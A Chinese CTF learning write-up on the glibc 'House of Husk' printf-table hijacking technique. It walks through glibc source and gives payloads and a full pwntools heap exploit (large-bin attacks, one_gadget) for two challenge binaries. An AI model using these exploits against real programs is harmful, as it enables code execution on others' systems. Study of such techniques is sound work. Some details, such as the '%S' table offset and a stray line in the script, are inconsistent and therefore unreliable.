house of huck 心得体会
2023-3-17 11:19:0 Author: xz.aliyun.com(查看原文) 阅读量:51 收藏

适用版本:

glibc 2.23 -- 至今

漏洞原理:

printf​ 函数通过检查 __printf_function_table​ 是否为空,来判断是否有自定义的格式化字符

若为printf类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec]​ 处的函数指针

利用条件:

  • 能使 __printf_function_table​ 处非空
  • __printf_arginfo_table​ 处可写入地址

利用方法:

劫持 __printf_function_table​ 使其非空

劫持 __printf_arginfo_table​ 使其表中存放的 spec​ 的位置是后门或者我们的构造的利用链

执行到 printf​ 函数时就可以将执行流劫持程序流

spec是格式化字符,比如最后调用的是 printf("%S\n",a)​,那么应该将 __printf_arginfo_table[73]​ 的位置(即&__printf_arginfo_table+0x73*8处)写入我们想要执行的地址

源码分析:

__register_printf_function​为格式化字符为spec​的格式化输出注册函数,而__register_printf_specifier​函数对这个函数进行的封装

通过源码可以看到若格式化符spec不在0x0-0xff(即ascii码范围),会返回-1

若spec为空,程序则会通过calloc分配两个堆地址来存放__printf_arginfo_table​和__printf_function_table

//__register_printf_specifier 源码

/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_function (int spec, printf_function converter,
                printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter,
                      (printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
    {
      result = -1;
      goto out;
    }

      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}

我们可以利用这样一条调用链printf->vfprintf->printf_positional->__parse_one_specmb​,通过篡改__printf_arginfo_table​和__printf_function_table​来进行攻击

可以看到当__printf_function_table​非空,将会调用printf_positional​函数

//vprintf函数部分源码

/* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

  /* Hand off processing for positional parameters.  */

do_positional:
  if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);

执行printf_positional​函数会触发__parse_one_specmb

//__parse_one_specmb函数部分*__printf_arginfo_table[spec->info.spec]

/* Get the format specification.  */
  spec->info.spec = (wchar_t) *format++;
  spec->size = -1;
  if (__builtin_expect (__printf_function_table == NULL, 1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
     uses more than one.  The normal case is covered though.  If
     the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                   (&spec->info, 1, &spec->data_arg_type,
                    &spec->size)) < 0)
    {
      /* Find the data argument types of a built-in spec.  */
      spec->ndata_args = 1;

我们可以通过修改*__printf_arginfo_table[spec->info.spec]​指针为后门或者构造的调用链

例题readme_revenge

先看该手法在栈题上的利用

程序很简单,就一个读入和一个输出,会将我们输入的内容打印出来

又因为程序是静态编译,flag值就在data段上

我们的目的是要利用house of husk手法将flag打印出来

攻击思路:

  • stack_chk_fail()会将libc_argv[0]指向的字符串打印出来,我们将__libc_argv[0]内容修改为flag的地址

  • 再将printf_function_table置为非空,printf_arginfo_table[spec]篡改为__stack_chk_fail()来打印flag

libc_argv[0]、printf_function_table、__printf_arginfo_table都在起始地址name的高地址处

​​​​

我们可以直接覆盖修改它们的值

stack_chk_fail = 0x4359B0

flag_addr = 0x6B4040   
name_addr = 0x6B73E0
libc_argv = 0x6b7980

printf_function_table = 0xdeadbeef #__printf_function_table   0x6b7a28
printf_modifier_table = 0x0        #__printf_modifier_table   0x6b7a30

printf_arginfo_table = 0x6b7aa8


payload=p64(flag_addr)

payload = payload.ljust(libc_argv - name_addr,b'a')
payload+=p64(name_addr)  #libc_argv[0] -> name_addr ->flag

payload = payload.ljust(0x6b7a28 - name_addr,b'a')
payload+=p64(0x1)        #__printf_function_table != 0
payload+=p64(0x0)        #__printf_modifier_table = 0
payload = payload.ljust(0x6b7aa8 - name_addr,b'a')

payload+=p64(printf_arginfo_table) 
payload+=p64(0xdeadbeef)*(0x73-1)
payload+=p64(stack_chk_fail)  #__printf_arginfo_table[73] : printf_arginfo_table+0x73*8
p.sendline(payload)

gdb调试看看具体是怎么执行的:

main+68处执行printf函数,printf会调用vfprintf

在vfprintf会进行__printf_function_table是否为0的检查

非零则会跳转到vfprintf+6000

再往下会调用printf_positional函数

payload+=p64(printf_arginfo_table) 
payload+=p64(0xdeadbeef)*(0x73-1)
payload+=p64(stack_chk_fail)  #printf_arginfo_table+0x73*8

成功执行__stack_chk_fail()打印出flag

例题heap_level1 (2023黄河流域网络空间安全技能挑战赛)

house of husk打法重点还是在堆题上的利用

限制大小0x41f—0x550,修改限制堆块0xf,存在UAF漏洞

静态分析:

add:

delete:

edit:

show:

​​​​

show功能只能打印出8字节,UAF常规手法无法泄露heap地址

libc基地址获取:
add(0x500,0,b'aaa')
add(0x500,1,b'bbb')

delete(0)
show(0)
libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))
heap地址获取:
delete(1)

add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')

edit(0,b'\x00'*0x420+p64(0)+p64(0x41)) #6c0

edit(1,b'\x00'*0x340+p64(0)+p64(0x41)) #af0

delete(3)
delete(4)

show(4)
heap_addr = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x6d0 #+0x290
li('heap_addr = '+hex(heap_addr))

largebin attack:

首先申请四个堆块准备largebin attack,先将chunk7送入largebin

add(0x448,5, b'fff') #
add(0x500,6, b'ggg')
add(0x458,7, b'hhh') #
add(0x500,8, b'iii')

delete(7) #ub
add(0x500,9,b'jjj') #chunk7 -> large
第一次largebin attack,使__printf_function_table处非零
###__printf_function_table != 0
delete(5) #ub

printf_function_table = libc_base+0x1f1318
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
# main_arena+1120  main_arena+1120
# chunk7-0x20      __printf_function_table-0x20
edit(7,pl)

add(0x500,10,'kkk') #attack

第二次largebin attack,在__printf_arginfo_table处写入chunk5/11的地址
###__printf_arginfo_table 
add(0x448,11,'lll') #rl chunk5
delete(11) #ub

printf_arginfo_table = libc_base+0x1ed7b0
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7,pl)

add(0x500,12,'mmm') #attack

​​​​

​​​​

最后再修改spec处为onegadget(注意大小写)

ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]

pl=b'a'*((ord('X'))*8-0x10)+p64(og)
edit(11,pl)

触发流程:

main+162 prinft

__vfprintf_internal

printf_positional

_IO_default_xsputn

这里会有__printf_function_table非空的检查

printf_positional

__parse_one_specmb

这里会对__printf_modifier_table是否为0进行一个check,非0可能会出现些问题,所以尽量保证构造时不影响其值

下面会将&__printf_arginfo_table地址赋给rcx,再将[rcx+rdx*8]的值(即chunk5/11地址+0x58×8)赋给rax,并最终跳转到rax

execvpe

完整exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
    p = remote('127.0.0.1',8000)
else:
    p = process(name)


#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)


s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 2
show_idx = 3
edit_idx = 4

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))


def choice(cho):
    sla('>> ',cho)

def add(size,idx,con):
    choice(add_idx)
    sla('HOw much?\n',size)
    sla('which?\n',idx)
    p.sendlineafter('Content:\n',con)

def delete(idx):
    choice(delete_idx)
    sla('which one?\n',idx)

def show(idx):
    choice(show_idx)
    sla('which one?\n',idx)

def edit(idx,con):
    choice(edit_idx)
    sla('which one?\n',idx)
    p.sendafter('content:\n',con)


add(0x500,0,b'aaa')
add(0x500,1,b'bbb')

delete(0)
show(0)
libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))

delete(1)

add(0x420,2,b'ccc')
add(0x420,3,b'ddd')
add(0x420,4,b'eee')

edit(0,b'\x00'*0x420+p64(0)+p64(0x41)) #6c0

edit(1,b'\x00'*0x340+p64(0)+p64(0x41)) #af0

delete(3)
delete(4)

show(4)
heap_addr = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x6d0 #+0x290
li('heap_addr = '+hex(heap_addr))

add(0x448,5, b'fff') #
add(0x500,6, b'ggg')
add(0x458,7, b'hhh') #
add(0x500,8, b'iii')

delete(7) #ub
add(0x500,9,b'jjj') #chunk7 -> large


###__printf_function_table != 0
delete(5) #ub

printf_function_table = libc_base+0x1f1318
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_function_table-0x20)
# main_arena+1120  main_arena+1120
# chunk7-0x20      __printf_function_table-0x20
edit(7,pl)

add(0x500,10,'kkk') #attack



###__printf_arginfo_table 
add(0x448,11,'lll') #rl chunk5
delete(11) #ub

printf_arginfo_table = libc_base+0x1ed7b0
pl=p64(libc_base+0x1ecfe0)+p64(libc_base+0x1ecfe0)+p64(heap_addr+0x1350)+p64(printf_arginfo_table-0x20)
edit(7,pl)

add(0x500,12,'mmm') #attack

ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]

pl=b'a'*((ord('X'))*8-0x10)+p64(og)
printf(ord('X')-2)
edit(11,pl)

#dbg()
sla('>> ','5')

itr()

参考:

house-of-husk学习笔记-安全客 - 安全资讯平台 (anquanke.com)

关于house of husk的学习总结 | ZIKH26's Blog


文章来源: https://xz.aliyun.com/t/12304
如有侵权请联系:admin#unsafe.sh